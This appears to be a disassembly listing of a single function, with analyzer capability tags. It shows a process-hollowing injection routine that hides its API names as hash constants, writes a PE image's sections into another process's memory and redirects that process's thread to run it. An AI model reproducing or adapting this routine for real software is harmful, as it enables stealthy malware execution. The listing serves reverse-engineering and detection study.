Function at 0x4022e0
Capabilities:
Enumerate pe sections
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2fc
mov eax, dword [ebp + 8]
push eax
call fcn.00401b70
add esp, 4
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x2f4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401b90
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x34]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x28]
mov dword [ebp - 0x2ec], eax
push 0xe75626ba
push 0xa04c2e38
push 0x6788ba64
push 0x840d7f0
push 0x98bef236
push 0x3cd6e4fc
push 0x66e8f38
push 0xf5061e4a
push 0x1576c1c4
push 0x7808e378
push 0x3cd6e4fc
push 0x6788ba64
push 0xb918faa2
push 0x2eecde4e
push 0xb6e24c5e
push 0x6e02d482
push 0xe75626ba
push 0x874ec4a
push 0x840d7f0
push 0x2a604564
push 0x14
push 0x411ec0
call fcn.00401930
add esp, 0x58
push 0x411ec0
mov ecx, dword [0x411eb4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x14], eax
push 0x43d4439c
push 0xee6c170
push 0x98bef236
push 0xa04c2e38
push 0x8c22f4d6
push 0x8c22f4d6
push 0x8b46f3c4
push 0x8c22f4d6
push 0xb6e24c5e
push 0xb84c2ccc
push 0x840d7f0
push 0xe074a478
push 0x6788ba64
push 0xb918faa2
push 0xe
push 0x411ec0
call fcn.00401930
add esp, 0x40
push 0x411ec0
mov edx, dword [0x411ea8]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x2f0], eax
push 0x840d7f0
push 0x43d4439c
push 0x3cd6e4fc
push 0x840d7f0
push 0xe75626ba
push 0xa04c2e38
push 0xf190544c
push 0xec0058e6
push 0xb6e24c5e
push 0x3cd6e4fc
push 0xe074a478
push 0x43b4eb0e
push 0xeef2709e
push 0x840d7f0
push 0x3cd6e4fc
push 0x66e8f38
push 0x10
push 0x411ec0
call fcn.00401930
add esp, 0x48
push 0x411ec0
mov eax, dword [0x411ea8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0x840d7f0
push 0x43d4439c
push 0x3cd6e4fc
push 0x840d7f0
push 0xe75626ba
push 0xa04c2e38
push 0xf190544c
push 0xec0058e6
push 0xb6e24c5e
push 0x3cd6e4fc
push 0xe074a478
push 0x43b4eb0e
push 0xeef2709e
push 0x840d7f0
push 0x3cd6e4fc
push 0xc9aeb4a4
push 0x10
push 0x411ec0
call fcn.00401930
add esp, 0x48
push 0x411ec0
mov ecx, dword [0x411ea8]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0xec0058e6
push 0xb6e24c5e
push 0x3cd6e4fc
push 0xe074a478
push 0x43b4eb0e
push 0xeef2709e
push 0x3cd6e4fc
push 0x6e02d482
push 0xb84c2ccc
push 0xe8c018d2
push 0x3cd6e4fc
push 0xee68de9a
push 0xc
push 0x411ec0
call fcn.00401930
add esp, 0x38
push 0x411ec0
mov edx, dword [0x411ea8]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
push 0x47148416
push 0xe074a478
push 0xa04c2e38
push 0x6e02d482
push 0x3cd6e4fc
push 0x2362f4b0
push 0xe8c018d2
push 0xe8c018d2
push 0x3cd6e4fc
push 0x98bef236
push 0xa04c2e38
push 0xe074a478
push 0x67aef458
push 0x3cd6e4fc
push 0x840d7f0
push 0x6788ba64
push 0xe074a478
push 0x8b887028
push 0x12
push 0x411ec0
call fcn.00401930
add esp, 0x50
push 0x411ec0
mov eax, dword [0x411ea8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x411eac], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x14]
push 0x40
push 0x3000
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [ebp - 0x2f0]
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [0x411eac]
mov dword [ebp - 0x2f8], 0
jmp 0x40263e
mov eax, dword [ebp - 0x2f8]
add eax, 1
mov dword [ebp - 0x2f8], eax
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x2f8], edx
jge 0x4026a3
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
lea eax, [edx + ecx + 0xf8]
mov ecx, dword [ebp - 0x2f8]
imul ecx, ecx, 0x28
add eax, ecx
mov dword [ebp - 0x2fc], eax
push 0
mov edx, dword [ebp - 0x2fc]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [0x411eac]
jmp 0x40262f
mov dword [ebp - 0x2e8], 0x10002
lea eax, [ebp - 0x2e8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [ebp - 0xc]
jmp 0x4026f1
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x238], edx
lea eax, [ebp - 0x2e8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
push edx
call dword [ebp - 4]
mov dword [0x411f94], 1
xor eax, eax
jmp 0x40270f
push 0
push 4
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x244]
add ecx, 8
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [0x411eac]
jmp 0x4026bf
mov esp, ebp
pop ebp
ret 0x14